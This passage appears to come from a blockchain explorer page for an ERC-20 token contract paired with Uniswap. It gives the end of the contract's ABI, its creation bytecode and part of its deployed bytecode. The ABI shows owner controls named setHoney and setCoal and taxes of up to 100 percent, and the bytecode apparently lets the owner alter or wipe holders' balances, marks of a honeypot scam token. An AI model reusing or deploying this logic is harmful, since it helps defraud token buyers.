:"setCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyTax","type":"uint256"},{"internalType":"uint256","name":"_sellTax","type":"uint256"},{"internalType":"uint256","name":"_sendTax","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_honey","type":"bool"}],"name":"setHoney","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setNumbers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_boo","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_boo","type":"bool"}],"name":"setSwapTokensAtAmountByLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmountByLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a620004e8565b6200002290631dcd6500620004fd565b6003556101f460068190556007556064600855612710600955600a80546001600160a01b031990811673a5884a86ceb6fc790913951d05a8587802d8b1c017909155600b805490911661dead1790556200007a601290565b6200008790600a62000517565b62000096906207a120620004fd565b600c55600d80546201010062ffff00199091161790556018805461ff001916610100179055348015620000c857600080fd5b5060405162002dd438038062002dd4833981016040819052620000eb9162000528565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600981526825a0aba99021b7b4b760b91b60208201526004906200015b9082620005f8565b506040805180820190915260038152624b574360e81b6020820152600590620001859082620005f8565b506003543360009081526001602090815260409182902092909255601080546001600160a01b0319166001600160a01b038516908117909155815163c45a015560e01b81529151909263c45a015592600480820193918290030181865afa158015620001f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021b919062000528565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a4919062000528565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000318919062000528565b601180546001600160a01b0319166001600160a01b03928316179055600354306000908152600260209081526040808320601054909516835293905291822055600190600e90620003716000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600e84528281208054861660019081179091556011549092168152600f9093529120805490921617905550620006c4565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200042a5781600019048211156200040e576200040e620003d3565b808516156200041c57918102915b93841c9390800290620003ee565b509250929050565b6000826200044357506001620004e2565b816200045257506000620004e2565b81600181146200046b5760028114620004765762000496565b6001915050620004e2565b60ff8411156200048a576200048a620003d3565b50506001821b620004e2565b5060208310610133831016604e8410600b8410161715620004bb575081810a620004e2565b620004c78383620003e9565b8060001904821115620004de57620004de620003d3565b0290505b92915050565b6000620004f6838362000432565b9392505050565b8082028115828204841417620004e257620004e2620003d3565b6000620004f660ff84168362000432565b6000602082840312156200053b57600080fd5b81516001600160a01b0381168114620004f657600080fd5b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200057e57607f821691505b6020821081036200059f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005f357600081815260208120601f850160051c81016020861015620005ce5750805b601f850160051c820191505b81811015620005ef57828155600101620005da565b5050505b505050565b81516001600160401b0381111562000614576200061462000553565b6200062c8162000625845462000569565b84620005a5565b602080601f8311600181146200066457600084156200064b5750858301515b600019600386901b1c1916600185901b178555620005ef565b600085815260208120601f198616915b82811015620006955788860151825594840194600190910190840162000674565b5085821015620006b45787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b61270080620006d46000396000f3fe6080604052600436106102cd5760003560e01c806370a0823111610175578063c10ea0a5116100dc578063de8f151711610095578063f2fde38b1161006f578063f2fde38b146108a9578063f865d99b146108c9578063f9fa48c3146108e9578063fb8bd26f146108ff57600080fd5b8063de8f151714610853578063e01af92c14610873578063e2f456051461089357600080fd5b8063c10ea0a51461079d578063c816841b146107bd578063cc1776d3146107dd578063ce1fd380146107f3578063d6e3b88614610813578063dd62ed3e1461083357600080fd5b8063a1c61f501161012e578063a1c61f50146106dd578063a457c2d7146106fd578063a9059cbb1461071d578063ae96ffe61461073d578063afa4f3b21461075d578063b70c28411461077d57600080fd5b806370a082311461061e57806375f0a87414610654578063860aefcf1461067457806389fe85071461068a5780638da5cb5b146106aa57806395d89b41146106c857600080fd5b806327722f6a116102345780635342acb4116101ed5780635b65b9ab116101c75780635b65b9ab1461059f57806363244555146105bf5780636d2f2ed6146105df5780636ddd1713146105ff57600080fd5b80635342acb41461052f5780635881f3ef1461055f57806359fa6d721461057f57600080fd5b806327722f6a14610481578063313ce5671461049757806331cd1acd146104b357806339509351146104c95780633ecad271146104e95780634f7041a51461051957600080fd5b806317a6954b1161028657806317a6954b146103c857806318160ddd146103e8578063228cb7331461040757806323af46d91461042157806323b872dd1461044157806326f0d8ce1461046157600080fd5b806303204989146102d957806306fdde03146102fb578063095ea7b3146103265780630f953cca14610356578063107aa189146103705780631694505e146103a857600080fd5b366102d457005b600080fd5b3480156102e557600080fd5b506102f96102f4366004612367565b61091f565b005b34801561030757600080fd5b50610310610973565b60405161031d9190612384565b60405180910390f35b34801561033257600080fd5b506103466103413660046123d2565b610a05565b604051901515815260200161031d565b34801561036257600080fd5b506018546103469060ff1681565b34801561037c57600080fd5b5061039061038b366004612413565b610a1f565b6040516001600160a01b03909116815260200161031d565b3480156103b457600080fd5b50601054610390906001600160a01b031681565b3480156103d457600080fd5b506102f96103e3366004612413565b610a68565b3480156103f457600080fd5b506003545b60405190815260200161031d565b34801561041357600080fd5b506015546103469060ff1681565b34801561042d57600080fd5b50600d546103469062010000900460ff1681565b34801561044d57600080fd5b5061034661045c366004612448565b610b1e565b34801561046d57600080fd5b506102f961047c366004612489565b610b45565b34801561048d57600080fd5b506103f960165481565b3480156104a357600080fd5b506040516012815260200161031d565b3480156104bf57600080fd5b506103f960085481565b3480156104d557600080fd5b506103466104e43660046123d2565b610baa565b3480156104f557600080fd5b50610346610504366004612367565b600f6020526000908152604090205460ff1681565b34801561052557600080fd5b506103f960065481565b34801561053b57600080fd5b5061034661054a366004612367565b600e6020526000908152604090205460ff1681565b34801561056b57600080fd5b5061039061057a366004612367565b610bcc565b34801561058b57600080fd5b506102f961059a366004612489565b610ec9565b3480156105ab57600080fd5b506102f96105ba3660046124a4565b610f06565b3480156105cb57600080fd5b506102f96105da366004612367565b610f9c565b3480156105eb57600080fd5b506102f96105fa366004612367565b610fea565b34801561060b57600080fd5b50600d5461034690610100900460ff1681565b34801561062a57600080fd5b506103f9610639366004612367565b6001600160a01b031660009081526001602052604090205490565b34801561066057600080fd5b50600a54610390906001600160a01b031681565b34801561068057600080fd5b506103f960175481565b34801561069657600080fd5b506102f96106a53660046124d0565b611035565b3480156106b657600080fd5b506000546001600160a01b0316610390565b3480156106d457600080fd5b50610310611064565b3480156106e957600080fd5b506102f96106f8366004612489565b611073565b34801561070957600080fd5b506103466107183660046123d2565b6110b0565b34801561072957600080fd5b506103466107383660046123d2565b611136565b34801561074957600080fd5b506102f96107583660046124d0565b611144565b34801561076957600080fd5b506102f96107783660046124d0565b611173565b34801561078957600080fd5b506018546103469062010000900460ff1681565b3480156107a957600080fd5b506102f96107b8366004612367565b6111f0565b3480156107c957600080fd5b50601154610390906001600160a01b031681565b3480156107e957600080fd5b506103f960075481565b3480156107ff57600080fd5b506102f961080e366004612367565b6112ac565b34801561081f57600080fd5b506102f961082e3660046123d2565b6112fa565b34801561083f57600080fd5b506103f961084e3660046124e9565b611340565b34801561085f57600080fd5b506102f961086e3660046123d2565b61136b565b34801561087f57600080fd5b506102f961088e366004612489565b6113d9565b34801561089f57600080fd5b506103f9600c5481565b3480156108b557600080fd5b506102f96108c4366004612367565b61143c565b3480156108d557600080fd5b506102f96108e4366004612489565b611526565b3480156108f557600080fd5b506103f960095481565b34801561090b57600080fd5b506102f961091a3660046123d2565b61156a565b6000546001600160a01b031633146109525760405162461bcd60e51b815260040161094990612522565b60405180910390fd5b6001600160a01b03166000908152601360205260409020805460ff19169055565b60606004805461098290612557565b80601f01602080910402602001604051908101604052809291908181526020018280546109ae90612557565b80156109fb5780601f106109d0576101008083540402835291602001916109fb565b820191906000526020600020905b8154815290600101906020018083116109de57829003601f168201915b5050505050905090565b600033610a138185856116fa565b60019150505b92915050565b600080546001600160a01b03163314610a4a5760405162461bcd60e51b815260040161094990612522565b5060188054911515620100000262ff00001990921691909117905590565b6000546001600160a01b03163314610a925760405162461bcd60e51b815260040161094990612522565b6001600160a01b0382166000908152600e602052604090205481151560ff909116151503610af35760405162461bcd60e51b815260206004820152600e60248201526d416c72656164792061646465642160901b6044820152606401610949565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b600033610b2c85828561181f565b610b37858585611899565b5060019150505b9392505050565b6000546001600160a01b03163314610b6f5760405162461bcd60e51b815260040161094990612522565b801515600d60029054906101000a900460ff16151503610b8e57600080fd5b600d8054911515620100000262ff000019909216919091179055565b600033610a13818585610bbd8383611340565b610bc791906125a7565b6116fa565b600080546001600160a01b03163314610bf75760405162461bcd60e51b815260040161094990612522565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5e91906125ba565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccf91906125ba565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610d1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3e91906125ba565b91506001600160a01b038216610e9557806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db091906125ba565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2191906125ba565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9291906125ba565b91505b601180546001600160a01b038085166001600160a01b03199283161790925560108054939092169216919091179055919050565b6000546001600160a01b03163314610ef35760405162461bcd60e51b815260040161094990612522565b6018805460ff1916911515919091179055565b6000546001600160a01b03163314610f305760405162461bcd60e51b815260040161094990612522565b6127108311158015610f4457506127108211155b8015610f5257506127108111155b610f8e5760405162461bcd60e51b815260206004820152600d60248201526c092dcc6dee4e4cac6e840e8c2f609b1b6044820152606401610949565b600692909255600755600855565b6000546001600160a01b03163314610fc65760405162461bcd60e51b815260040161094990612522565b6001600160a01b03166000908152601260205260409020805460ff19166001179055565b6000546001600160a01b031633146110145760405162461bcd60e51b815260040161094990612522565b6001600160a01b03166000908152601260205260409020805460ff19169055565b6000546001600160a01b0316331461105f5760405162461bcd60e51b815260040161094990612522565b601655565b60606005805461098290612557565b6000546001600160a01b0316331461109d5760405162461bcd60e51b815260040161094990612522565b6015805460ff1916911515919091179055565b600033816110be8286611340565b90508381101561111e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610949565b61112b82868684036116fa565b506001949350505050565b60003361112b818585611899565b6000546001600160a01b0316331461116e5760405162461bcd60e51b815260040161094990612522565b601755565b6000546001600160a01b0316331461119d5760405162461bcd60e51b815260040161094990612522565b600081116111aa57600080fd5b80600c54036111eb5760405162461bcd60e51b815260206004820152600d60248201526c4368616e67652076616c75652160981b6044820152606401610949565b600c55565b6000546001600160a01b0316331461121a5760405162461bcd60e51b815260040161094990612522565b6001600160a01b03811661122d57600080fd5b600a546001600160a01b0380831691160361128a5760405162461bcd60e51b815260206004820152601860248201527f54686973206164647265737320616c72656164792073657400000000000000006044820152606401610949565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112d65760405162461bcd60e51b815260040161094990612522565b6001600160a01b03166000908152601360205260409020805460ff19166001179055565b6000546001600160a01b031633146113245760405162461bcd60e51b815260040161094990612522565b6001600160a01b03909116600090815260146020526040902055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146113955760405162461bcd60e51b815260040161094990612522565b6001600160a01b0382166000908152600160205260409020546113b99082906125a7565b6001600160a01b0390921660009081526001602052604090209190915550565b6000546001600160a01b031633146114035760405162461bcd60e51b815260040161094990612522565b801515600d60019054906101000a900460ff1615150361142257600080fd5b600d80549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146114665760405162461bcd60e51b815260040161094990612522565b6001600160a01b0381166114cb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610949565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146115505760405162461bcd60e51b815260040161094990612522565b601880549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146115945760405162461bcd60e51b815260040161094990612522565b6000546001600160a01b03166001600160a01b0316826001600160a01b0316036115ef5760405162461bcd60e51b815260206004820152600c60248201526b2a20a923a2aa1022a92927a960a11b6044820152606401610949565b61160181670de0b6b3a76400006125d7565b6001600160a01b03831660009081526001602052604090205411611671576001600160a01b03808316600090815260016020526040808220829055600b5490921681529081205461165291906125a7565b600b546001600160a01b03166000908152600160205260409020555050565b61168381670de0b6b3a76400006125d7565b6001600160a01b0383166000908152600160205260409020546116a691906125ee565b6001600160a01b0383166000908152600160205260409020556116d181670de0b6b3a76400006125d7565b600b546001600160a01b031660009081526001602052604090205461165291906125a7565b5050565b6001600160a01b03831661175c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610949565b6001600160a01b0382166117bd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610949565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600061182b8484611340565b9050600019811461189357818110156118865760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610949565b61189384848484036116fa565b50505050565b60006001600160a01b0384166118ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610949565b6001600160a01b0383166119615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610949565b8160000361197c5761197584846000611b3b565b9050610b3e565b601854610100900460ff1615611b1e57600d5460ff16156119a257611975848484611b3b565b30600090815260016020526040902054600c54811080159081906119c95750600d5460ff16155b80156119e257506011546001600160a01b038681169116145b80156119f55750600d54610100900460ff165b15611a1a57600d5462010000900460ff1615611a1157600c5491505b611a1a82611be3565b6001600160a01b038616600090815260016020526040902054611a3e9085906125ee565b6001600160a01b038716600090815260016020908152604080832093909355600e90529081205460ff1680611a8b57506001600160a01b0386166000908152600e602052604090205460ff165b611a9f57611a9a878787611c09565b611aa1565b845b6001600160a01b038716600090815260016020526040902054909150611ac89082906125a7565b6001600160a01b0380881660008181526001602052604090819020939093559151908916906000805160206126ab83398151915290611b0a9085815260200190565b60405180910390a360019350505050610b3e565b611b288483611d6b565b611b33848484611eca565b506001610b3e565b6001600160a01b038316600090815260016020526040812054611b5f9083906125ee565b6001600160a01b038086166000908152600160205260408082209390935590851681522054611b8f9083906125a7565b6001600160a01b0380851660008181526001602052604090819020939093559151908616906000805160206126ab83398151915290611bd19086815260200190565b60405180910390a35060019392505050565b611bec816121a8565b4780156116f657600a546116f6906001600160a01b031682612319565b6001600160a01b0383166000908152600f6020526040812054819060ff16158015611c4d57506001600160a01b0384166000908152600f602052604090205460ff16155b15611c6f57600954600854611c6290856125d7565b611c6c9190612601565b90505b6001600160a01b0385166000908152600f602052604090205460ff1615611cb157600954600654611ca090856125d7565b611caa9190612601565b9050611cef565b6001600160a01b0384166000908152600f602052604090205460ff1615611cef57600954600754611ce290856125d7565b611cec9190612601565b90505b8015611d585730600090815260016020526040902054611d109082906125a7565b30600081815260016020526040908190209290925590516001600160a01b038716906000805160206126ab83398151915290611d4f9085815260200190565b60405180910390a35b611d6281846125ee565b95945050505050565b6000546001600160a01b03838116911614801590611da257506001600160a01b03821660009081526012602052604090205460ff16155b8015611dc757506001600160a01b0382166000908152600f602052604090205460ff16155b156116f6576001600160a01b03821660009081526013602052604090205460ff1615611df257600080fd5b6001600160a01b03821660009081526014602052604090205415611e35576001600160a01b038216600090815260146020526040902054811115611e3557600080fd5b60165415611e4c57601654811115611e4c57600080fd5b60155460ff1615611e875760405162461bcd60e51b815260206004820152600560248201526422b93937b960d91b6044820152606401610949565b60175415611eb6576017546001600160a01b0383166000908152600160205260409020541115611eb657600080fd5b60185460ff16156116f6576116f6826112d6565b6001600160a01b038316600090815260016020526040902054811115611f2a5760405162461bcd60e51b815260206004820152601560248201527456616c756520657863656564732062616c616e636560581b6044820152606401610949565b6000546001600160a01b03848116911614801590611f6157506001600160a01b03831660009081526012602052604090205460ff16155b8015611f7657506001600160a01b0383163014155b1561210d57600d5460ff1615611f9757611f91838383611b3b565b506120da565b30600090815260016020526040902054600c5481108015908190611fbe5750600d5460ff16155b8015611fd757506011546001600160a01b038581169116145b8015611fea5750600d54610100900460ff165b1561200f57600d5462010000900460ff161561200657600c5491505b61200f82611be3565b6001600160a01b0385166000908152600160205260409020546120339084906125ee565b6001600160a01b038616600090815260016020908152604080832093909355600e90529081205460ff168061208057506001600160a01b0385166000908152600e602052604090205460ff165b6120945761208f868686611c09565b612096565b835b6001600160a01b0386166000908152600160205260409020549091506120bd9082906125a7565b6001600160a01b0386166000908152600160205260409020555050505b816001600160a01b0316836001600160a01b03166000805160206126ab8339815191528360405161181291815260200190565b6001600160a01b0383166000908152600160205260409020546121319082906125ee565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546121619082906125a7565b6001600160a01b0380841660008181526001602052604090819020939093559151908516906000805160206126ab833981519152906118129085815260200190565b505050565b600d805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106121ea576121ea612623565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612243573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061226791906125ba565b8160018151811061227a5761227a612623565b6001600160a01b0392831660209182029290920101526010546122a091309116846116fa565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906122d9908590600090869030904290600401612639565b600060405180830381600087803b1580156122f357600080fd5b505af1158015612307573d6000803e3d6000fd5b5050600d805460ff1916905550505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156121a3573d6000803e3d6000fd5b6001600160a01b038116811461236457600080fd5b50565b60006020828403121561237957600080fd5b8135610b3e8161234f565b600060208083528351808285015260005b818110156123b157858101830151858201604001528201612395565b506000604082860101526040601f19601f8301168501019250505092915050565b600080604083850312156123e557600080fd5b82356123f08161234f565b946020939093013593505050565b8035801515811461240e57600080fd5b919050565b6000806040838503121561242657600080fd5b82356124318161234f565b915061243f602084016123fe565b90509250929050565b60008060006060848603121561245d57600080fd5b83356124688161234f565b925060208401356124788161234f565b929592945050506040919091013590565b60006020828403121561249b57600080fd5b610b3e826123fe565b6000806000606084860312156124b957600080fd5b505081359360208301359350604090920135919050565b6000602082840312156124e257600080fd5b5035919050565b600080604083850312156124fc57600080fd5b82356125078161234f565b915060208301356125178161234f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061256b57607f821691505b60208210810361258b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a1957610a19612591565b6000602082840312156125cc57600080fd5b8151610b3e8161234f565b8082028115828204841417610a1957610a19612591565b81810381811115610a1957610a19612591565b60008261261e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156126895784516001600160a01b031683529383019391830191600101612664565b50506001600160a01b0396909616606085015250505060800152939250505056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212200dda413546b5b87ac0eb3ddd773d98a40e1a29c47aa1cce202d3ca1a8dd8817b64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x6080604052600436106102cd5760003560e01c806370a0823111610175578063c10ea0a5116100dc578063de8f151711610095578063f2fde38b1161006f578063f2fde38b146108a9578063f865d99b146108c9578063f9fa48c3146108e9578063fb8bd26f146108ff57600080fd5b8063de8f151714610853578063e01af92c14610873578063e2f456051461089357600080fd5b8063c10ea0a51461079d578063c816841b146107bd578063cc1776d3146107dd578063ce1fd380146107f3578063d6e3b88614610813578063dd62ed3e1461083357600080fd5b8063a1c61f501161012e578063a1c61f50146106dd578063a457c2d7146106fd578063a9059cbb1461071d578063ae96ffe61461073d578063afa4f3b21461075d578063b70c28411461077d57600080fd5b806370a082311461061e57806375f0a87414610654578063860aefcf1461067457806389fe85071461068a5780638da5cb5b146106aa57806395d89b41146106c857600080fd5b806327722f6a116102345780635342acb4116101ed5780635b65b9ab116101c75780635b65b9ab1461059f57806363244555146105bf5780636d2f2ed6146105df5780636ddd1713146105ff57600080fd5b80635342acb41461052f5780635881f3ef1461055f57806359fa6d721461057f57600080fd5b806327722f6a14610481578063313ce5671461049757806331cd1acd146104b357806339509351146104c95780633ecad271146104e95780634f7041a51461051957600080fd5b806317a6954b1161028657806317a6954b146103c857806318160ddd146103e8578063228cb7331461040757806323af46d91461042157806323b872dd1461044157806326f0d8ce1461046157600080fd5b806303204989146102d957806306fdde03146102fb578063095ea7b3146103265780630f953cca14610356578063107aa189146103705780631694505e146103a857600080fd5b366102d457005b600080fd5b3480156102e557600080fd5b506102f96102f4366004612367565b61091f565b005b34801561030757600080fd5b50610310610973565b60405161031d9190612384565b60405180910390f35b34801561033257600080fd5b506103466103413660046123d2565b610a05565b604051901515815260200161031d565b34801561036257600080fd5b506018546103469060ff1681565b34801561037c57600080fd5b5061039061038b366004612413565b610a1f565b6040516001600160a01b03909116815260200161031d565b3480156103b457600080fd5b50601054610390906001600160a01b031681565b3480156103d457600080fd5b506102f96103e3366004612413565b610a68565b3480156103f457600080fd5b506003545b60405190815260200161031d565b34801561041357600080fd5b506015546103469060ff1681565b34801561042d57600080fd5b50600d546103469062010000900460ff1681565b34801561044d57600080fd5b5061034661045c366004612448565b610b1e565b34801561046d57600080fd5b506102f961047c366004612489565b610b45565b34801561048d57600080fd5b506103f960165481565b3480156104a357600080fd5b506040516012815260200161031d565b3480156104bf57600080fd5b506103f960085481565b3480156104d557600080fd5b506103466104e43660046123d2565b610baa565b3480156104f557600080fd5b50610346610504366004612367565b600f6020526000908152604090205460ff1681565b34801561052557600080fd5b506103f960065481565b34801561053b57600080fd5b5061034661054a366004612367565b600e6020526000908152604090205460ff1681565b34801561056b57600080fd5b5061039061057a366004612367565b610bcc565b34801561058b57600080fd5b506102f961059a366004612489565b610ec9565b3480156105ab57600080fd5b506102f96105ba3660046124a4565b610f06565b3480156105cb57600080fd5b506102f96105da366004612367565b610f9c565b3480156105eb57600080fd5b506102f96105fa366004612367565b610fea565b34801561060b57600080fd5b50600d5461034690610100900460ff1681565b34801561062a57600080fd5b506103f9610639366004612367565b6001600160a01b031660009081526001602052604090205490565b34801561066057600080fd5b50600a54610390906001600160a01b031681565b34801561068057600080fd5b506103f960175481565b34801561069657600080fd5b506102f96106a53660046124d0565b611035565b3480156106b657600080fd5b506000546001600160a01b0316610390565b3480156106d457600080fd5b50610310611064565b3480156106e957600080fd5b506102f96106f8366004612489565b611073565b34801561070957600080fd5b506103466107183660046123d2565b6110b0565b34801561072957600080fd5b506103466107383660046123d2565b611136565b34801561074957600080fd5b506102f96107583660046124d0565b611144565b34801561076957600080fd5b506102f96107783660046124d0565b611173565b34801561078957600080fd5b506018546103469062010000900460ff1681565b3480156107a957600080fd5b506102f96107b8366004612367565b6111f0565b3480156107c957600080fd5b50601154610390906001600160a01b031681565b3480156107e957600080fd5b506103f960075481565b3480156107ff57600080fd5b506102f961080e366004612367565b6112ac565b34801561081f57600080fd5b506102f961082e3660046123d2565b6112fa565b34801561083f57600080fd5b506103f961084e3660046124e9565b611340565b34801561085f57600080fd5b506102f961086e3660046123d2565b61136b565b34801561087f57600080fd5b506102f961088e366004612489565b6113d9565b34801561089f57600080fd5b506103f9600c5481565b3480156108b557600080fd5b506102f96108c4366004612367565b61143c565b3480156108d557600080fd5b506102f96108e4366004612489565b611526565b3480156108f557600080fd5b506103f960095481565b34801561090b57600080fd5b506102f961091a3660046123d2565b61156a565b6000546001600160a01b031633146109525760405162461bcd60e51b815260040161094990612522565b60405180910390fd5b6001600160a01b03166000908152601360205260409020805460ff19169055565b60606004805461098290612557565b80601f01602080910402602001604051908101604052809291908181526020018280546109ae90612557565b80156109fb5780601f106109d0576101008083540402835291602001916109fb565b820191906000526020600020905b8154815290600101906020018083116109de57829003601f168201915b5050505050905090565b600033610a138185856116fa565b60019150505b92915050565b600080546001600160a01b03163314610a4a5760405162461bcd60e51b815260040161094990612522565b5060188054911515620100000262ff00001990921691909117905590565b6000546001600160a01b03163314610a925760405162461bcd60e51b815260040161094990612522565b6001600160a01b0382166000908152600e602052604090205481151560ff909116151503610af35760405162461bcd60e51b815260206004820152600e60248201526d416c72656164792061646465642160901b6044820152606401610949565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b600033610b2c85828561181f565b610b37858585611899565b5060019150505b9392505050565b6000546001600160a01b03163314610b6f5760405162461bcd60e51b815260040161094990612522565b801515600d60029054906101000a900460ff16151503610b8e57600080fd5b600d8054911515620100000262ff000019909216919091179055565b600033610a13818585610bbd8383611340565b610bc791906125a7565b6116fa565b600080546001600160a01b03163314610bf75760405162461bcd60e51b815260040161094990612522565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5e91906125ba565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccf91906125ba565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610d1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3e91906125ba565b91506001600160a01b038216610e9557806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db091906125ba565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2191906125ba565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e6e573d6000803